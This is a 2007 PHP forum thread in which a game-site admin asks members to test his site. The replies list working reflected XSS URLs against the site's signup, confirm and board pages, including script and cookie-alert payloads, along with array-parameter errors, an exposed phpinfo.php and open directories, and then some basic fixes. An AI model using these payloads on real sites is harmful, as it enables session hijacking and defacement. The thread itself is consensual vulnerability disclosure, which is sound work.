themafiaman.com Posted October 30, 2007 Share Posted October 30, 2007 Hello All experts i am new member here and 1st day i found this forum very interesting and knowledgeable , If you all can Test my this site for any Vuln. i would be thankfull to all PHPFreaks . www.themafiaman.com its a online MMORPG game , its a premade script and our hosting provider team do additional modification for the game , PLease check my site and report me. And its a request If you find any hole in it Please do not do something bad we all are here for helping each other . If i would be able to provide any kind of help to PHP Freaks or any member i will surely do. Thanks Regards The Mafia Man Admin [move]PHp Freaks [/move] Link to comment https://forums.phpfreaks.com/topic/75415-please-check-it-for-any-holevuln/ Share on other sites More sharing options...
source Posted October 30, 2007 Share Posted October 30, 2007 first hole is in the register on step three if you put ">code as ur last name hit enter it runs. http://www.themafiaman.com/signup.php?step=4&email=%22%3E%3Cmarquee%3Elolz&referer= http://www.themafiaman.com/signup.php?step=%22%3E%3Cscript%3Ealert(1);%3C/script%3E&email=lolwtf@aol.com&referer= http://themafiaman.com/signup.php?step=3&refer=%22%3E%3Cmarquee%3Elolz http://themafiaman.com/tru/board.php?tru=10&action=post xss in message... and I can make it link to say <a href="javascript:alert(document.cookie)">CLICK HERE</a> Link to comment https://forums.phpfreaks.com/topic/75415-please-check-it-for-any-holevuln/#findComment-381502 Share on other sites More sharing options...
source Posted October 30, 2007 Share Posted October 30, 2007 http://www.themafiaman.com/tru/board.php?brd=recruit&tru=10 http://www.themafiaman.com/tru/pimp.php?tru=10 both xssable I can't finish cause some stupid fuck face disabled my account. Anyway this is the LAST time you will see me make a post on these forums. I do not believe you should help admins fix security holes anymore. Open-source/full disclosure is bad. I discourage everyone from doing it. Agentsteal I hope you read this... Don't waste your time with this helping people fix security anymore. It's a complete waste of time. lolz Link to comment https://forums.phpfreaks.com/topic/75415-please-check-it-for-any-holevuln/#findComment-381519 Share on other sites More sharing options...
themafiaman.com Posted October 30, 2007 Author Share Posted October 30, 2007 Mate Thanks For your support and checking my site actually one of our moderator didn't know about testing so he find you suspecious and Banned you Please complete your test i am making your account normal . Me and my all staff is sorry for what happend with you Thanks Regards Link to comment https://forums.phpfreaks.com/topic/75415-please-check-it-for-any-holevuln/#findComment-381526 Share on other sites More sharing options...
agentsteal Posted October 31, 2007 Share Posted October 31, 2007 Array: http://www.themafiaman.com/confirm.php?referer[] Array: http://www.themafiaman.com/signup.php?step[] Array: http://www.themafiaman.com/signup.php?step=3&age[] Array: http://www.themafiaman.com/signup.php?step=3&cpassword[] Array: http://www.themafiaman.com/signup.php?step=3&email[] Array: http://www.themafiaman.com/signup.php?step=3&first[] Array: http://www.themafiaman.com/signup.php?step=3&last[] Array: http://www.themafiaman.com/signup.php?step=3&messager_id[] Array: http://www.themafiaman.com/signup.php?step=3&password[] Array: http://www.themafiaman.com/signup.php?step=3&refer[] Array: http://www.themafiaman.com/signup.php?step=3&username[] Array: http://www.themafiaman.com/signup.php?step=4&email[] Array: http://www.themafiaman.com/signup.php?step=4&referer[] Cross Site Scripting: http://www.themafiaman.com/confirm.php?referer="><marquee><h1>vulnerable</marquee> Cross Site Scripting: http://www.themafiaman.com/signup.php?step=<marquee><h1>vulnerable</marquee> Cross Site Scripting: http://www.themafiaman.com/signup.php?step=3&age="><marquee><h1>vulnerable</marquee> Cross Site Scripting: http://www.themafiaman.com/signup.php?step=3&cpassword="><marquee><h1>vulnerable</marquee> Cross Site Scripting: http://www.themafiaman.com/signup.php?step=3&email="><marquee><h1>vulnerable</marquee> Cross Site Scripting: http://www.themafiaman.com/signup.php?step=3&first="><marquee><h1>vulnerable</marquee> Cross Site Scripting: http://www.themafiaman.com/signup.php?step=3&last="><marquee><h1>vulnerable</marquee> Cross Site Scripting: http://www.themafiaman.com/signup.php?step=3&messager_id="><marquee><h1>vulnerable</marquee> Cross Site Scripting: http://www.themafiaman.com/signup.php?step=3&password="><marquee><h1>vulnerable</marquee> Cross Site Scripting: http://www.themafiaman.com/signup.php?step=3&refer="><marquee><h1>vulnerable</marquee> Cross Site Scripting: http://www.themafiaman.com/signup.php?step=3&username="><marquee><h1>vulnerable</marquee> Cross Site Scripting: http://www.themafiaman.com/signup.php?step=4&email=<marquee><h1>vulnerable</marquee> Cross Site Scripting: http://www.themafiaman.com/signup.php?step=4&referer="><marquee><h1>vulnerable</marquee> Cross Site Scripting: There is Cross Site Scripting on http://www.themafiaman.com/confirm.php if the email address contains code. Cross Site Scripting: There is Cross Site Scripting on http://www.themafiaman.com/resend.php if the email address contains code. Cross Site Scripting: There is Cross Site Scripting on http://www.themafiaman.com/support.php if the To field contains code. Cross Site Scripting: There is Cross Site Scripting on http://www.themafiaman.com/tellthem.php if the Your Name field contains ">code. Cross Site Scripting: There is Cross Site Scripting on http://www.themafiaman.com/tellthem.php if the Friends Name field contains ">code. Cross Site Scripting: There is Cross Site Scripting on http://www.themafiaman.com/tellthem.php if the Friends Email field contains ">code. Cross Site Scripting: There is Cross Site Scripting on http://www.themafiaman.com/tellthem.php if the Refferal Link field contains ">code. Cross Site Scripting: There is Cross Site Scripting on http://www.themafiaman.com/winners.php if the drop down menus contain code. Cross Site Scripting: There is Cross Site Scripting if you submit a directory search that contains code. Cross Site Scripting: There is Cross Site Scripting if you submit a family search that contains code. Drop Down Menu: If you edit the drop down menu on http://www.themafiaman.com/winners.php you can submit arbitrary values. Drop Down Menu: If you edit the round drop down menu on http://www.themafiaman.com/credits.php you can submit arbitrary values. Maximum Length: If you edit the fields you can remove the maximum lengths. User Enumeration: http://www.themafiaman.com/~root Link to comment https://forums.phpfreaks.com/topic/75415-please-check-it-for-any-holevuln/#findComment-381622 Share on other sites More sharing options...
themafiaman.com Posted October 31, 2007 Author Share Posted October 31, 2007 Thanks to you guys for testing and reporting me all things can you guys provide us solution ?? or how to fix these Vuln. thanks Please send me solution/fixes @ themafiaman.com@gmail.com Regards Link to comment https://forums.phpfreaks.com/topic/75415-please-check-it-for-any-holevuln/#findComment-382157 Share on other sites More sharing options...
php_tom Posted November 5, 2007 Share Posted November 5, 2007 Maybe I don't need to tell you that this should be removed... http://www.themafiaman.com/phpinfo.php Link to comment https://forums.phpfreaks.com/topic/75415-please-check-it-for-any-holevuln/#findComment-384722 Share on other sites More sharing options...
php_tom Posted November 5, 2007 Share Posted November 5, 2007 Also this probably should only be accessiible if you've logged in: http://themafiaman.com/cgi-sys/mchat.cgi?channel=themafiaman.com I got that from this page which should be blocked: http://themafiaman.com/chat Not such a problem, but you might hide this directory: http://themafiaman.com/include/ That's all for now. Link to comment https://forums.phpfreaks.com/topic/75415-please-check-it-for-any-holevuln/#findComment-384732 Share on other sites More sharing options...
themafiaman.com Posted November 6, 2007 Author Share Posted November 6, 2007 Thanks alot for letting me know about these VULNS. mate can you provide me some suggestion?? my MSn is themfiaman2007@yahoo.com Link to comment https://forums.phpfreaks.com/topic/75415-please-check-it-for-any-holevuln/#findComment-385714 Share on other sites More sharing options...
php_tom Posted November 6, 2007 Share Posted November 6, 2007 For hiding the contents of a directory, either disable directory listing on the server, or have an index.php in each directory with <?php header("Location: http://www.themafiaman.com"); exit(0); ?> Cross site scripting (XSS) can be fixed by validating ALL user input. See this article: http://www.htmlcenter.com/tutorials/tutorials.cfm/149/PHP/ Basically you just want to restrict as much as possible what input a user can give. For Array errors, just add a line <?phpif(is_array(<the variable>)) <the variable> = <the variable>[0]; ?> That should fix most of your troubles. Link to comment https://forums.phpfreaks.com/topic/75415-please-check-it-for-any-holevuln/#findComment-385934 Share on other sites More sharing options...
Recommended Posts